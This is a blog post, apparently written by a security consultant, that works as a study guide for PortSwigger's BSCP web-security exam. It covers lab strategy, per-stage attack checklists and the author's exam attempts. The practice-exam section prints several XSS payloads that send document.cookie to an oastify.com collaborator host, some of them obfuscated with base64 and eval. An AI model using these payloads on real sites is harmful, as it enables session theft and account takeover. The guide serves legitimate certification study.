../ BSCP Technical Guide

Hi there!

On the 1st of March 2025, I took the BSCP exam. I failed the first attempt, discovering 2 vulnerabilities out of 6. I took the exam a second time, immediately after failing the first one, disappointed with the earlier result. I finished the second attempt in 55 minutes, after finding all 6 vulnerabilities. A few days later the exam was analyzed and I received the confirmation of its success.

In this blog post I want to focus on the technical knowledge required to obtain the BSCP certification. I want to first focus on the knowledge itself, and not on my experience, because I believe that the experience of each one of us will ultimately be different, while the knowledge required is the same for us all. If I managed to complete the exam, it means you can also do it. It's all about preparation, practice, and handling stress. I can help you with the first two steps, and I leave to you the remaining third. Only at the end of the blog post, if you wish to do so, you can read on my personal experience.

After the blog post is done, I will also publish material related to the BSCP in hexdump, my YouTube project, the place where I teach about Computer Science, Programming, and Cybersecurity.

So, let's start!

Table of Contents

Following the same approach I used in my OSCP Technical Guide, I will structure the blog post in a way that covers three different themes.

Pre-requisites

What BSCP assumes you already know.
Material

The core subjects taught by the PortSwigger Web Security Academy, the course behind the BSCP certification.
Expectations

What the BSCP wants you to know at the end, and in particular, the skills you will be tested on during the final exam.

At the end you will also find a fourth part, detailing my personal experience with the exam.

#Pre-Requisites

In terms of pre-requisites, it's crucial to point out that BSCP is not meant for complete beginners at web security. Even though the academy does contain a lot of knowledge, and it is extremely helpful to study certain classes of vulnerabilities, I do not think the material there is enough to guide a complete beginner in the field.

As a pre-requisite therefore I would give a similar one that I gave with OSCP, with an extra condition.

you must have at least one to two years of prior experience with CTF-like challenges using linux or windows, and you must understand well the basics of the Web, of the HTTP protocol, and how to perform basic exploitation using BurpSuite.

You do not need to be an expert on the subject. Just that its not the first time you open BurpSuite to exploit some web vulnerabilities. Needless to say that this requirement will not apply to everyone equally. Some people are just gifted for these kinds of activities, and they require much less time because of many different reasons. Some other people invest an insane amount of time, and therefore speed up their learning journey by quite a bit. So everyone ultimately is a bit different.

While BSCP is not for beginners, there is a crucial difference between BSCP and a typical certification like the OSCP: the academy offered by PortSwigger to prepare you for the exam is "almost completely" free. Some labs, to be completed, actually require a proper BurpSuite pro license in order to access the collaborator module, which does cost money, but other than those labs, you do not need to buy the license to get access to the material. This, in turn, means that you do not need to rush months of preparation before the exam. You can take it slower, much slower if you want, in order to get accustomed to how to think about web security. By finishing the academy, you will build a strong foundation over the most important attack vectors in the context of the web.

The most ideal situation in which you want to find yourself in is: you start a job as a junior penetration tester, and you ask the company you're working for if you can follow the academy for training. This would also allow you to bypass the need to buy a BurpSuite pro license, as your company would pay for it. It's a good tradeoff, and if you find a good company you might be able to pull this off. However it does require a certain "invement mentality" in the company, and sadly some companies just want to extract values from their employees without having a mutual exchange.

Let's now talk about the actual content that is covered by the BSCP certification.

#PortSwigger Web Security Academy

Behind the BSCP exam and certification we find the PortSwigger Web Security Academy. The academy has two core goals:

Teach you about Web Security.
Teach you about BurpSuite.

I quite appreciate the idea of PortSwigger. It is a good trade-off between giving back to the community while still allowing them to showcase the product that makes them a profit. In certain labs, you will be required to use specific feature of BurpSuite. This is "marketing" done well in my opinion: sell your product by showcasing how it actually works in practice environment inspired by real situations.

I actually wish there was more BurpSuite oriented content in the academy, covering more specific features of the tool. It would be cool to implement some labs that require maybe a custom extension to be solved. Still, I'd say its already good and useful as it is.

I also appreciate the structure of the academy. You can feel that work has been put into it, as it guides you into a simple yet effective journey that leads directly to the exam itself. At any time, you can see the your current progress in the dashboard page of the academy.

portswigger.net/web-security/dashboard

Notice in particular the Exam preparation steps section. As you can see, a 100% preparation is actually not needed to perform well at the exam. However, it is highly suggested that you do all labs with difficulty levels Apprentice and Practicioner.

Each lab has the same structure: a simple description, detailing how you can finish the lab, and a button to spawn the lab. By performing the task required, you are able to solve it.

When you click on the button "Access the Lab", after a few seconds the lab environment is started within a URL of the following form.

https://0a8e005903c554768187c59200ac008d.web-security-academy.net/

The labs have different functionalities, and sometimes to exploit them a client-side interaction is required. That is, the victim of the attack is a client that tries to use the application. In these cases it becomes important to get accustomed to the exploit server and the mail server. These are special endpoints that allow you either to deliver malicious payloads to the victim client or to read mails sent to a specific domain. They can be used to simulate phishing scenarios, i.e. making the client click on a link to exploit an XSS, or visiting a malicious page to exploit a CSRF.

If you are stuck on a lab, you can either read the official solution, or you can study the solutions of the members of the community. For certain labs there are also specific hints aimed at making you understand better what you gotta do. Here the writing quality varies. Sometimes the quality is very good, other times is not that good.

The performance of the lab is good, however sometimes the labs did not properly work. I miss 3 practicioner labs not because I did not study them, but because even by following the official solution, I could not manage to solve them. Maybe there's something I'm doing wrong, or the labs themselves have some issue. It's a rare event, but it does happen. In these situations, simply wait a bit for the lab to restart.

Be careful on the ability to read up the solutions. Do not rush the academy. There is no need for it. Try to understand deeply what is the underlying mechanism that has allowed you to actually finish the lab. Most of them have an underlying idea that they want to convey. You can even finish multiple times the labs that confuse you the most to make sure you really understand what is going on. There are also some labs that feels more cheap, because they require the knowledge of a very specific parameter and not much is taught in the challenge itself. However these represent an exceptions and definitely not the norm.

Other than the labs, the academy also offers brief but useful theoretical descriptions of the various vulnerabilities. These can be useful to read, either before or after doing the labs, as you can quickly review your understanding or straight up learn new things. The writing quality of these explanation is good.

Lately they've also introduced learning paths, which is another way of mixing the theoretical content with explanations with the practical labs. Personally I've not used this feature of the academy, so I cannot say much about it.

The preparation journey for the exam is made up of three distinct phases:

Phase 1 - Normal Labs
Phase 2 - Mystery Labs
Phase 3 - Practice Exams

Let's analyze each phase in detail.

#Phase 1 - Normal Labs

The first phase consists in doing the main content of the lab for the first time. Since web security is a big and complex topic, the academy does a good job at placing the various topics and labs into three different categories:

Server-side Topics (14 vulnerabilities)

These includes attacks that only deal with the server-side of the interaction. Some of these are recommended for complete beginners, since to understand these vulnerabilities you can just focus on what is going on server-side. Having said that, some of these are definitely not beginner's friendly.
Client-side Topics (6 vulnerabilities)

Client-side stuff is generally a bit more nuanced, as it forces you to consider more on the different interactions that happen between the server and the client, and also between a malicious client, a victim client and the server.
Advanced Topics (11 vulnerabilities)

The last group of vulnerabilities is called "advanced" not because it is necessarily much harder than all the others, but because it requires to know very well the basic building blocks of web security, as it builds on top of them and it contains some of the most recent technologies.

In total the academy is made up of 31 modules, with a total of 269 labs, which is definitely something, considering also that PortSwigger continues to update the academy with new labs and sometimes even brand new modules. Recently for example the Web LLM Attacks module was added based on recent LLM-trends, while the Web Cache Deception module was added based on recent research by PortSwigger.

Given that there are tons of labs, the next question is:

How should you approach the study of these modules?

I suggest to focus your attention on a single module at a given time. That is, pick a module and study it well. Take your time in understanding what it is trying to teach you, and only move on the next one after you've finished all the apprentice and practitioner labs. While this approach can be a bit tiring, I believe the deep dives really helps to build foundational understanding over each single vulnerability.

If you get bored by this "single-module" approach, you can make it more fun by adopting a more "hybrid" approach, where you first finish all the apprentice labs of all the modules, and then you go back to each module and do the practicioner labs. My suggestion is just to not jump randomly from lab to lab too early in your study path, as that can just introduce a lot of confusion.

In terms of the order in which you should approach the labs, there is of course no strict order. In the following table I list out a potential order which I created based on type of vulnerability as well as its inherent complexity measured in a scale of 1 to 3, from most complex (High) to simplest (Low).

Module	Type	Complexity
Informatin Disclosure	Server-Side	Low
Essential Skills	Advanced	Low
SQL Injection	Server-Side	Low
Command Injection	Server-Side	Low
Path Traversal	Server-Side	Low
XXE Injection	Server-Side	Low
File Upload Vulnerabilities	Server-Side	Low
Server-Side Request Forgery (SSRF)	Server-Side	Low
Authentication	Server-Side	Low
Access Control	Server-Side	Low
Clickjacking	Client-Side	Low
Web LLM attacks	Advanced	Low
Cross-site scripting (XSS)	Client-Side	Medium
Cross-site request forgery (CSRF)	Client-Side	Medium
Cross-origin resource sharing (CORS)	Client-Side	Medium
DOM-based vulnerabilities	Client-Side	Medium
Server-Side Template Injection	Advanced	Medium
Business Logic Vulnerabilities	Server-Side	Medium
HTTP Host Header Attacks	Advanced	Medium
Prototype Pollution	Advanced	Medium
WebSockets	Client-Side	Medium
JWT attacks	Advanced	Medium
GraphQL API Vulnerabilities	Advanced	Medium
Insecure Deserialization	Advanced	Medium
OAuth Authentication	Advanced	High
Race Conditions	Server-Side	High
HTTP Request Smuggling	Advanced	High
Web Cache Poisoning	Advanced	High
Web Cache Deception	Server-Side	High

For each lab, take notes using your favorite text editor. As always, I used Emacs, and I took all the notes in a single org-mode file.

For each module, I would do all the labs and write notes with detailed solutions. Sometimes the solution would just be a quick sketch with the final payload, otherwise I would write the entire flow of reasoning that led me to the solution. This highly dependend on the novelty of the lab. I also wrote about all external tools used during the various labs.

Like this, with enough time, you will develop a strong understanding over web security. It took me around 2 months to finish the academy, and I already knew most of the attacks as I regularly engage in WAPTs (Web Application Penetration Tests) during my daily job as a software security consultant.

#Phase 2 - Mystery Labs

Once you have finished all the modules, both in the apprentice and practitioner level, you can now start to work on your ability to enumerate your target fast. This becomes a key skill in the exam, as you will only have 4 hours available, and you need to find 6 vulnerabilities.

The hardest part of the exam will not be to find the right payload, but rather to understand what it is that you need to exploit.

To develop this enumeration ability, you can use the mystery lab feature offered by the academy. It is quite useful, as it selects a random lab, and it doesnt tell you immediately the lab that was selected. Combine this with a heavy usage of BurpSuite scanners, both the passive and active, as well as some personal intuition, and you will be good.

I suggest a simple approach, that can be repeated as much as you want.

Spawn a mystery lab.
Understand the initial vulnerability.
Exploit it fully to solve the lab.

Step 3 can be bypassed if you feel comfortable with how you'd exploit the vulnerability once you find it. If you have a strong cheatsheet for example, with many different payloads depending on the context, exploitation will not be as hard as enumeration. Try to do at least 20 to 30 labs like this.

The mystery lab step of the journey is all about building intuition over what are the possible vulnerabilities that you can have for a given set of features. Try to study the structure of the application, the feature exposed, and develop a methodology for discovering vulnerable behaviors.

Example (CSRF): Suppose you find a form to change the email of your user. To understand if the form is vulnerable to a CSRF attack you can ask yourself:

What HTTP methods can be used to perform the email change action?
Is there an anti-CSRF token in the form?
Is the anti-CSRF token properly linked to the user session?
If session is managed through cookies, what is the SameSite attribute for the user session cookie?

And from these (and others) questions you can obtain a simple yet effective checklist to test for CSRF:

HTTP Verb Tampering (POST -> GET)
Remove CSRF Token
CSRF Token not tied to user session
CSRF Token tied to non-session cookie
CSRF Token duplicated in cookie
SameSite Lax bypass via recent refresh cookie
SameSite Strict bypass via client-side redirect
SameSite Strict bypass via XSS on sibling domain

If after enough practice you find yourself quickly discovering the vulnerabilities, you can move on to the next step.

#Phase 3 - Practice Exams

As a final step of preparation, PortSwigger offers two practice exams that simulate a full exam experience. These are key, and you must make the most out of them.

Only approach them at the very end of the learning process, when you want to do the exam and you want to measure your level of preparation. The labs are useful because they follow the same rules as the final exam, which I will describe in the next section. Try to simulate the real exam experience. Give yourself 4 hours, and try to see how much you managed to get on your own, what slows you down and how you react to time stressors.

Before doing the practice exam, prepare all the material that you will need in the final exam. This material can and should include:

Cheathseets with ready to use payloads for each vulnerability.
Checklists of security tests to perform.
Notes on the solved labs.
Repositories with helpful payloads.
Tools installed and configured on your system.

In terms of tools I prepared the following ones:

Install them, configure them, have a simple cheatsheet with examples on how to use each tool so that you are ready when the need arises. For BurpSuite specifically, make sure to install the extensions that can be helpful during the exam. For the exam I did not use too many extensions, but I had the following ones prepared:

Remember also to use BurpSuite specific wordlists, which can be used when performing a user enumeration, or when trying to crack a weakly signed JWT token.

It's crucial to have everything prepared, so that when you need to exploit a specific vulnerability, you already have the payloads ready to be used with minor adjustments.

A good flow is:

First you take a look at the application and you try to build intuition over where what the vulnerability could be.
You perform the first tests based on your intuition.
If those tests fail, you bring out the checklist you prepared, you pick the most likely candidates and you perform all the tests for the selected types of vulnerabilities.
If also all those tests fail, you try the less-likely candidates.
As soon as you discover the vulnerable behavior, you bring out the cheatsheet and construct the weaponized payload that will allow you to get to the next step.

For each step, you can repeat the same flow.

For example, consider the case of XSS. You will want to have all payloads that will allow you to exfiltrate the victim session token to the collaborator server.

Basic payload with fetch using the collaborator server.

  fetch(`https://quorf410wqq83l6drp1r8bfqrhx8l19q.oastify.com/?c=${document.cookie}`)

Paylod encoded with base64 and executed with eval.

  eval(atob("ZmV0Y2goYGh0dHBzOi8vcXVvcmY0MTB3cXE4M2w2ZHJwMXI4YmZxcmh4OGwxOXEub2FzdGlmeS5jb20vP2M9JHtkb2N1bWVudC5jb29raWV9YCk"))

Payload used to bypass simple checks on function names

  a="https://nkbylr71na3n75mf04h3j8mpggm7axym.oastify.com"
  b={ method: 'POST', mode: 'no-cors', body:document.cookie }
  c=fetch
  c(a,b)

Payload using svg

  <svg><animatetransform onbegin=alert(1)></svg>

With this approach, when you're doing the exam the only thing you actually need to find is the specific injection point, and everything else is already prepared.

A significant portion of the learning process happens in this step of review and study, while preparing the material you will use in the final exam, so do not rush yourself, and do not rely too much on material created by other people. That can be helpful as well, of course, but focus on creating your own material which is tailored to your own workflows.

#The BSCP Exam

Let's talk about the BSCP exam now.

The exam is made up of two applications. To solve each application you have to find and exploit 3 distinct vulnerabilities. So basically there are 6 vulnerabilities to find, and you have 4 hours to do so. It's critical that you read all documentation and information regarding the final exam.

Once again: make sure you read multiple times all the subtleties of the exam, because some of them are extremely specific, such as

If you find an SSRF vulnerability, you can use it to read files by accessing an internal-only service, running on localhost on port 6566.

Host header attacks are fair game, but the _lab and _lab_analytics cookies are part of the core exam functionality - please don't waste your time tampering with them.

Basically each application follows the same structure and is divided into three steps:

Step 1, Foothold

Access any user account.
Step 2, Privilege Escalation

Use your user account to access the admin interface at /admin, perhaps by elevating your privileges or compromising the administrator account.
Step 3, Data Exfiltration

Use the admin interface to read the contents of /home/carlos/secret from the server's filesystem, and submit it using "submit solution".

Given the structure is also linear, this means that typically the vulnerabilities that you find are highly related on the specific step you're in. This is to say that you will rarely find an XXE in the first step, as typically XXE allows you to read files from the server file system. Having said that, there's lots of vulnerabilities, and therefore lots of possible combinations.

Online there are various sources that roughly describes the type of vulnerabilities that you can find in the final exam:

Here comes my own suggestions, inspired from my own experience and from the writings of other people, on how to approach each stage.

DISCLAIMER: These not meant to be complete lists. They are an approximate view designed to help you understand what are the possible attack paths for the various steps. I do not claim completeness here.

#BSCP Step 1 - Foothold

The first step is about accessing any user account.

Information Gathering

There could be some hidden files or directories, maybe a .git directory, that you need to discover and that contains the information required to access the account.
Authentication

Sometimes you can find a user enumeration that allows you to discover a valid username. In these situations is always good to try and bruteforce valid credentials for the user.

If you find anti-automation checks, try to play around with Host headers to see if its possible to bypass them.

Remember the wordlists for usernames and passwords:
- Usernames list
- Passwords list
Cross-Site Scripting

If you find an XSS, either stored XSS, reflected XSS or DOM XSS, you want to try to steal the user token by forcing the victim to perform an HTTP request to the collaborator, leaking the cookie in the request.

Sometimes the XSS is direct, using a specific input parameter, while other times to inject the XSS payload you need to play around with other vulnerabilities, such as:
- Web Cache Poisoning
- Host Headers
- DOM-based vulnerabilities
- HTTP Request Smuggling
- Client-Side Prototype Pollution
Host Headers

By playing around with the Host header you might be able to inject some JavaScript code, and thus obtain an XSS to steal the user token. It is also possible to obtain a SSRF.

If the application shows signs of anti-automation mechanisms, you might be able to bypass them via Host Headers.
```
  X-Forwarded-Host
  X-Host
  X-Forwarded-Server
```
If the application exposes a password reset feature, it might be possible to poison the reset by tampering with the Host header.
HTTP Request Smuggling

If the infrastructure of the application is vulnerable to HTTP request smuggling, you might be able to inject XSS into the victim webpage. It is also possible to leak the login cookie of the victim user by poisoning the response queue and intercepting the response message containing the victim session cookie.
Web Cache Poisoning

If you see Cache headers within the response, you might try to see if its possible to poison the cache of other users and if it possible to inject JavaScript code into the application.
Client-Side Prototype Pollution

Use DOM Invader to find possible sources that you can use to add arbitrary properties to the global prototype object, and find gadgets that allow you to execute JavaScript code. This can be used to obtain XSS on the victim and steal the user token.
JWT - JSON Web Tokens

If you're given a JWT as an anonymous user, try to see if you can break the integrity of the JWT to modify it in order to impersonate the carlos user.
OAuth Authentication

If OAuth is enabled, make sure to test out for possible attacks that would allow you to obtain carlos session.

#BSCP Step 2 - Privilege Escalation

The second step is about accessing the administrator interface, which is found at /admin.

Access Control and API Testing

Understand how the application implements authorization. For example, if authorization checks are based on URL, it might be possible to bypass them by using the X-Original-Url. If instead you have endpoints that use specific IDs to retrieve information, you can test for IDORs by changing the relative IDs. If you have an API, test out for mass assignment vulnerabilities that allow you to change specific fields of the user state.
Cross-Site Request Forgery (CSRF)

Look the forms available in the account profile and try to see if you can perform a CSRF. This could be changing email, or changing password.
Cross-origin resource sharing (CORS)

Check out how the Access-Control-Allow-Origin header is computed by the response, and if it vulnerable, use it to read sensitive data of the administrator user.
SQL Injection

If you inject some specific SQL syntax and you get an SQL error, you can use sqlmap to exploit the issue and dump the database.
JWT - JSON Web Tokens

If you're given a JWT as a normal user, try to see if you can break the integrity of the JWT to modify it in order to impersonate the administrator user.
Server-Side Prototype pollution

Check if its possible to add properties to the server-side session state by using server-side prototype pollution in order to become admin.
GraphQL API Endpoints

If GraphQL is used, try to see if introspection is enabled, and, if it is, use it to extract possible sensitive information that could allow you to become administrator.
OAuth Authentication

If OAuth is enabled, test for all those attacks that can allow you to become administrator, such as by abusing the redirect_uri parameter.

#BSCP Step 3 - Data Exfiltration

The third step is about reading the contents of the file /home/carlos/secret by using the functionalities exposed by the admin interface.

XXE Injection

If you have an endpoint that deals with XML, and if you're able to inject the DOCTYPE element, then you can try XXE to read the required file.
Path Traversal

If you have APIs that read files in the filesystem of the server such as images, etc, it might be possible to obtain a path traversal and read the required secret. Be careful with typical attack patterns and payloads.
Command Injection

Try to inject typical characters used within shell commands such as ;&|'"`(){}$", and if the server returns an error, try to exploit a command injection. If you don't see any output, do not be afraid of the error. It could be a blind injection, so work with the collaborator.
Insecure Deserialization

If you see a big blob of base64 data in your request, check if the blob is the result of serialization, and try to discover the underlying language, for example java. Depending on the language you can use different tools, such as ysoserial, for java, or phpggc for php, to construct the malicious payload.
File Upload Vulnerabilities

If you're able to upload files, try to upload a malicious files that can be executed, such as php files. Use such file sto read the required secret. If you're blocked by security checks, try to bypass them using various techniques, such as null byte, or by using a polyglot payload.
Server-Side Prototype pollution

If the server uses a JavaScript based backend framework such as nodeJS, try to exploit server-side prototype pollution to perform RCE and read the required filename.
Server-Side Request Forgery (SSRF)

If the application makes a request to an internal service, try to craft a malicious request to see if you can control the request made by the backend and use it to read the required secret.
Server-Side Template Injection

If the application uses a template framework, try to understand which one it is among the different possibilities
```
  Smarty (PHP), Mako (Python), Jinja2 (Python), Twig (PHP), Freemarker (Java)
```
Once you understand the technology, find the appropriate payload to obtain RCE and read the required file.

#My Experience with BSCP

To finish off, I want to detail my personal experience with the exam, hoping it will be useful to you.

I had two exam attempt.

The first, I failed pretty hard, as I discovered only 2/6 vulnerabilities in the entire four hours of the exam.
The second, I succeeded pretty hard, as I discovered all 6/6 vulnerabilities within the first 55 minutes.

Why was my performance so different between the first and second attempt?

I don't really know for certain. What I do know is that I started the exam well. I was confident in my understanding, and I did discover and exploit the first vulnerability pretty fast, in around 10 minutes. Then I hit a small block for the first privilege escalation, and I started to feel a bit of anxiety. Instead of being cold and following the checklist that I prepared, I let anxiety took control of me, and while I was still functional and able to test, I was much much slower and way less reactive. I forgot basic things, things that I would normally know, I lost time, and, most importantly, for a moment I lost faith in my ability to discover the vulnerability. When I did discovered it, I was in too much rush, and I could not really focus and approach the test in a methodical way. This made me miss all the other vulnerabilities.

Morale is hard to manage, especially in an exam with limited time. Thinking about it,

the 4h window really fucked me up.

It made me wanna rush things. When I did OSCP I knew that I had enough time, so I took things very slowly, in a methodical way, following my cheatsheet as well as my mental checklist, taking note of every test I made, taking note of every progress. This time I felt like I had to go fast, which made me more emotional than normal. I knew that the time itself is enough, and the fact that I solved the second exam in not even an hour goes to show that it really is enough. However, from a psychological point of view, the limited window of time does put a lot of pressure in the performance itself.

After the first attempt 4hrs had passed and I was pretty disappointed, having discovered only 2/6 vulnerabilities. For a brief moment I started to doubt if I was ready for the exam, or I missed something in the learning journey. I was also angry at myself. It was a mix of disappointment and anger. I was disappointment, but I knew that I was actually prepared. I told myself: you're ready. You studied. You took notes. You understand what you need to do. And you do feel confident. It's just, you got emotional. You let fear win. You let that doubt become bigger than it should've been. You can still do it. Just, let your knowledge come out. Believe in yourself. Don't think. Act.

I brought another attempt

I ate a quick lunch, and I started the second attempt straight away. I didn't even rest. Not even 5 minutes. I was tired, but I also had a lot of pent-up energy, and I knew that energy-wise I could afford another attempt. If I felt too tired, I would've waited the next day.

The second attempt was completely different than the first. I felt sharp, focused, like there was nothing in my mind. Just the application and my instance of BurpSuite open. No doubt. Just focused attention. This time, I was not thinking if I was gonna finish it or not. I was deadly focused on the task at hand. What's the vulnerability? Ok, how do I exploit it? Why this payload doesn't work? Ok let's try the next. Most of the energy came as a result of the first failure. It sort of woke me up. I quickly picked up the vulnerabilities, and I quickly discovered the right payloads. After 55 minutes I found myself flagging the second application. I was done. I did not even realize how fast I went. The experience was very blurry. I just did everything I could to get it over as soon as possible.

And thinking about the vulnerabilities I had to exploit, there is nothing too hard or complex about them. They just require you to focus, to pay attention and to try different payloads. It can totally be done with good preparation. The real challenge, I believe, is not even the window of time itself, but the awareness that you only have 4hrs.

This is to say that preparation is not equal to performance.

\[\text{Preparation} \neq \text{Performance}\]

We can prepare well, and perform poorly. But if we are truly prepared, we can try it again, and perform better. Ask yourself: am I well prepared? and learn how to trust the answer you give to yourself.

Never let a bad performance limit your future growth.

When I failed my first attempt, I still kept trying to discover the vulnerabilities. I did not give up until the exam was over. Why did I do that, even if I knew that I had failed that single performance? Because I realize that life is not about a single performance. Life is about a very long sequence of performances, where the importance of each one has to be considered with respect to the entire sequence itself. I kept testing, even after it was certain I was gonna fail, because any experience gained would've helped me prepare for the next performance.

So now what? It's as easy to overly-punish ourselves when we perform poorly, as to overly-reward ourselves when we have a good performance. It's harder to keep feets on the ground. To reward and punish ourselves, yes, but in the right amounts, the ones necessary for growth.

Never let a good performance limit your future growth.

Ultimately it doesn't even matter that much. It doesn't matter if now I have BSCP. It will not matter how many other certifications I'll get in the future, or other sort of rewards. They're just symbols. Necessary and useful symbols, but just symbols. And I care only so much about symbols. My objective is and always will be to improve my craft. The way I think, the way I test, and the way I teach. And if I want to keep improving, I have to keep practising, keep discovering new things and keep improving my methodologies and my understanding of the world, exactly like a beginner's would have to do.

And that is my experience with the BSCP exam.

Thanks for reading my words.

I wish you never stop learning and enjoying the process of learning itself. For that is one of the most glorious process of them all, the process that unlocks the most powerful ability. Not the ability to control life. But the ability to understand life.

If you're interested in my work, check out hexdump my youtube project, the place where I teach about Computer Science, Programming, and Cybersecurity.